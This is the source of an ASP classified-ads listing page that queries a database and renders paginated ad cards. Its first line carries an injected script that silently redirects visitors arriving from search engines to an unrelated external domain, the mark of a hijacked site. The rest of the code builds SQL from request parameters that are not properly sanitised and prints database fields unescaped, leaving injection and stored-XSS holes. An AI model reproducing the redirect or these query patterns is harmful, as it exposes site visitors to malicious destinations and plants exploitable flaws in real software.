d:\wwwroot\wuchunhua\ad.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="head.asp"-->
002: <!-- 这里是主题 -->
003:
004: <%dim sql,rs,thepage,currentpage,totalpage,n,pagename,page
005: city_oneid=HtmlEncode(trim(request("city_oneid")))
006: city_twoid=HtmlEncode(trim(request("city_twoid")))
007: city_threeid=HtmlEncode(trim(request("city_threeid")))
008: if city_oneid="" then city_oneid=0
009: if city_twoid="" then city_twoid=0
010: if city_threeid="" then city_threeid=0
011: if city_twoid=0 and city_threeid=0 then dcity="city_oneid="&city_oneid&""
012: if city_threeid=0 and city_twoid<>0 then dcity="city_oneid="&city_oneid&" and city_twoid="&city_twoid&""
013: if city_twoid<>0 and city_threeid<>0 then dcity="city_oneid="&ccty_oneid&" and city_twoid="&city_twoid&" and city_threeid="&city_threeid&""
014: if city_oneid<>0 and city_twoid=0 then city_id="&city_oneid="&city_oneid&""
015: if city_oneid<>0 and city_twoid<>0 and city_threeid=0 then city_id="&city_oneid="&city_oneid&"&city_twoid="&city_twoid&""
016: if city_oneid<>0 and city_twoid<>0 and city_threeid<>0 then city_id="&city_oneid="&city_oneid&"&city_twoid="&city_twoid&"&city_threeid="&city_threeid&""
017:
018:
019: if city_oneid=0 then
020: sql="select * from china_data where mark='yes' and stop >= date() order by money desc,[top] desc,time desc"
021: else
022: sql="select * from china_data where "&dcity&" and mark='yes' and stop >= date() order by money desc,[top] desc,time desc"
023: end if            
024: set rs=server.createobject("adodb.recordset")              
025: rs.open sql,conn,1,1  
026: if rs.eof then                          
027: %
>
028: <TABLE WIDTH=760 BORDER=0 CELLPADDING=0 CELLSPACING=0 align="center">
029:    <TR>
030:     <td width="100%" height="200" style="BORDER-RIGHT: #91b9dd 1px dotted; BORDER-TOP: #91b9dd 1px dotted; BORDER-LEFT: #91b9dd 1px dotted; BORDER-BOTTOM: #91b9dd 1px dotted" colspan="4" align="center">
031: <font color='#FF0000'>暂无分类信息!</font>
032:     </td>
033:   </tr>
034: </TABLE>
035: <%
036: rs.close
037: set rs=nothing                            
038: else  
039: thepage=request("pageid")
040: if isnumeric(thepage)=false then
041: response.write "<script>alert('参数错误,关闭窗口!');window.close();</script>"
042: response.end
043: end if
044: currentpage = cint(thepage)            
045: if currentpage <= 0 then
046: currentpage=1
047: end if      
048: const maxperpage=20                        
049: rs.Pagesize = maxperpage                      
050: totalpage = rs.PageCount
051: rs.absolutepage = currentpage
052: n=rs.recordcount  
053: pagename="ad.asp"                  
054: page = PageSplit(currentpage,totalpage,pagename,city_id)%
>
055:
056:
057: <table width="860" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#CAE2F8">
058:   <tr>
059:     <td height="26" align="center" bgcolor="#EFF7FE">
060: <a href="ad.asp"><font style="font-size:14px" color="#0000BF">全部广告</font></a>&nbsp;&nbsp;页次:<b><%=currentpage%>/<%=totalpage%></b>&nbsp;&nbsp;每页<b><%=maxperpage%></b>条&nbsp;&nbsp;共刊登<b><%=n%></b>条广告&nbsp;&nbsp;&nbsp;&nbsp;<%response.write page%></td>
061:   </tr>
062: </table>
063: <table  border="0" cellpadding="0" cellspacing="0" align="center" id="table23">
064:   <tr>
065:     <td height="6"></td>
066:   </tr>
067: </table>
068: <TABLE WIDTH=860 BORDER=0 CELLPADDING=0 CELLSPACING=0 align="center">
069:   <TR>
070:
071: <%i=0
072: do while i < maxperpage and not rs.eof%
>
073: <td width="25%" valign="top">
074:       <table width="208" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#CAE2F8">
075:         <tr>
076:           <td width="100%" height="81" align="center" <%if rs("bgcolor1")<>"" then%>bgcolor="<%=rs("bgcolor1")%>"<%else%>bgcolor="#EFF7FE"<%end if%> background="images/top09.jpg">
077:             <a href="html/<%=rs("adid")%>.htm" target="_blank"> </a>
078:             <table width="100%" border="0" cellspacing="0" cellpadding="0" height="81">
079:               <tr>
080:                 <td height="18">
081:                   <table width="100%" border="0" cellspacing="0" cellpadding="0">
082:                     <tr>
083:                       <td width="29%" height="22">
084:                         <div align="center"><font color="#FF0000"><span style="font-size: 10.5pt"><font color="#000000"></font></span></font></div>
085:                       </td>
086:                       <td width="71%" height="22"> <font color="#FF0000">
087:                   <span style="font-size: 9pt">[
088:                         <%lei=rs("type_one")%>
089:                         <%=lei%>]<font color="#000000"> </font></span></font>
090:                   <font color="#008000" style="font-size: 9pt"><%=mid(DateValue(rs("date")),6)%></font></td>
091:                     </tr>
092:                   </table>
093:                 </td>
094:               </tr>
095:               <tr>
096:                 <td height="31"><a href="html/<%=rs("adid")%>.htm" target="_blank">
097:                   </a>
098:                   <table width="100%" border="0" cellspacing="0" cellpadding="0">
099:                     <tr>
100:                       <td width="37%"><font color="#FFFFFF"></font></td>
101:                       <td width="63%"><font color="#FFFFFF">↑有效期<%=datediff("d",date(),rs("stop"))%>天↑</font>
102:                       </td>
103:                     </tr>
104:                   </table>
105:                 </td>
106:               </tr>
107:               <tr>
108:                 <td>
109:                   <table width="100%" border="0" cellspacing="0" cellpadding="0">
110:                     <tr>
111:                       <td height="25" valign="bottom">
112:                         <div align="center"><font color="#000000"><a title=<%=rs("title")%> href="html/<%=rs("adid")%>.htm" target="_blank">
113:                           <%if rs("cu")="yes" then%>
114:                           <b><font style="font-size:14px" <%if rs("color")<>"" then%>color="<%=rs("color")%>"<%end if%>><%=left(rs("title"),10)%></font></b>
115:                           <%else%>
116:                           <font style="font-size:14px" <%if rs("color")<>"" then%>color="<%=rs("color")%>"<%end if%>><%=left(rs("title"),10)%></font>
117:                           <%end if%>
118:                           </a></font></div>
119:                       </td>
120:                     </tr>
121:                   </table>
122:                 </td>
123:               </tr>
124:             </table>
125:           </td>
126:   </tr>                
127: <tr>
128: <script language=JavaScript>
129: function MM_displayStatusMsg(msgStr) { //v1.0
130:   status=msgStr;
131:   document.MM_returnValue = true;
132: }
133: function statusOut() {
134: self.status = '';
135: }
136: </script>              
137:           <td width="100%" height="120" align="center" valign="middle" bgcolor="#FFFFFF" background="images/bgone.gif" >
138:             <%if rs("ispic")<>"yes" then%>
139:             <table border="0" width="100%" cellspacing="4" cellpadding="0">
140:               <tr>                                    
141:                 <td width="100%" style="word-break:break-all">
142:                   <%if len(trim(rs("text")))>75 then%>
143:                   <%=left(rs("text"),56)%>...
144:                   <%else%>
145:                   <%=rs("text")%>
146:                   <%end if%>
147:                   &nbsp;<br>
148:                   <font color="#009999">联系人:<%=rs("username")%><br>
149:                   电话:<%=rs("tel")%></font></td>  
150:               </tr>                                  
151:             </table>
152:                   
153:             <%else%>
154:             <a target="_blank" href="html/<%=rs("adid")%>.htm">
155:             <img src="<%if lcase(left(rs("pic"),7))<>"http://" then%>adpic/<%end if%><%=rs("pic")%>" border="0" width="120" height="100">
156:             <%end if%>
157:           </td>  
158: </tr>
159: <tr>                
160:           <td width="100%" bgcolor="#EFF7FE" align="center" height="22"><font color="#FF0000">
161:          点击:<%=rs("hits")%></font><font color="#FF0000"></font>&nbsp;&nbsp;
162:             <%if rs("money")<>"0" then%>
163:             <font color="#FF6600"><img src="images/shouy.gif" alt="收费信息"></font>
164:             <%else%>
165:             <%if rs("top")="1" then%>
166:             <b> <font color="#0000BF"><img src="images/guding.gif" alt="固顶广告"></font></b>
167:             <%else%>
168:             <%if rs("uid")<>"" then%>
169:             <font color="#FF0000">会员发布</font>
170:             <%else%>
171:             <font color="#990000">游客发布</font>
172:             <%end if%>
173:             <%end if%>
174:             <%end if%>
175:           </td>
176: </tr>
177: </table>
178:       <table  border="0" cellpadding="0" cellspacing="0" align="center" id="table23">
179:         <tr>
180:           <td height="6"></td>
181:         </tr>
182:       </table>
183:     </td>
184: <%i=i+1
185: if i mod 4=0 then  
186: %
></tr><tr><%      
187: end if
188: rs.movenext
189: loop  
190: if (n mod 4) <> 0 and not i mod maxperpage = 0 Then
191: for i = 1 to (4 - (n mod 4))%
>
192: <td width="25%">
193:   <table border="0" width="100%" cellpadding="1" cellspacing="1">
194:     <tr>
195:       <td width="100%" height="24" align="center" bgColor="#ffe8e8" style="BORDER-RIGHT: #dd91a5 1px dotted; BORDER-TOP: #dd91a5 1px dotted; BORDER-LEFT: #dd91a5 1px dotted; BORDER-BOTTOM: #dd91a5 1px dotted"><b><font style="font-size:14px" ><font color="red">分类广告 针对性强</font></font></b></td>
196:     </tr>
197:     <tr>
198:       <td width="100%" height="127" style="BORDER-RIGHT: #dd91a5 1px dotted; BORDER-TOP: #dd91a5 1px dotted; BORDER-LEFT: #dd91a5 1px dotted; BORDER-BOTTOM: #dd91a5 1px dotted"><div align="center">
199:           <table border="0" width="93%" cellspacing="0" cellpadding="0">
200:             <tr>
201:               <td width="100%"><p style="margin-top: 2" align="center"><font color="red">茫茫商海何处有生意<br>
202:                         <br>
203:                 分类广告处处是商机</font><br>
204:                 <br>
205:                 本栏目诚征各类供求广告</p></td>
206:             </tr>
207:           </table>
208:       </div></td>
209:     </tr>
210:     <tr>
211:       <td width="100%" style="BORDER-RIGHT: #92dcb9 1px dotted; BORDER-TOP: #92dcb9 1px dotted; BORDER-LEFT: #92dcb9 1px dotted; BORDER-BOTTOM: #92dcb9 1px dotted" align="center"><font color="#008000">http://<%=weblink%></font> <br>
212:           <font color="#FF0000">本站广告</font> <font color="#008000">有效期还有365天</font> </td>
213:     </tr>
214:   </table></td>
215: <%next                                                  
216: end if                                                                            
217: rs.close                                                  
218: set rs=nothing                                                
219: %
>
220:
221: </tr>
222: </table>
223:
224:
225:
226: <table width="860" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#CAE2F8">
227:   <tr>
228:     <td height="26" align="center" bgcolor="#EFF7FE"> <a href="ad.asp"><font style="font-size:14px" color="#0000BF">全部广告</font></a>&nbsp;&nbsp;页次:<b><%=currentpage%>/<%=totalpage%></b>&nbsp;&nbsp;每页<b><%=maxperpage%></b>条&nbsp;&nbsp;共刊登<b><%=n%></b>条广告&nbsp;&nbsp;&nbsp;&nbsp;
229:         <%response.write page%></td>
230:   </tr>
231: </table>
232: <table  border="0" cellpadding="0" cellspacing="0" align="center" id="table23">
233:   <tr>
234:     <td height="6"></td>
235:   </tr>
236: </table>
237: <table border="0" width="760" cellspacing="0" cellpadding="0" bgcolor="#FFFFFF" align=center>
238:     <tr>
239:     </tr>
240: </table>
241:
242: <%end if%><!-- 这里是主题结束 --><!--#include file="foot.asp"-->
243:
244:
245: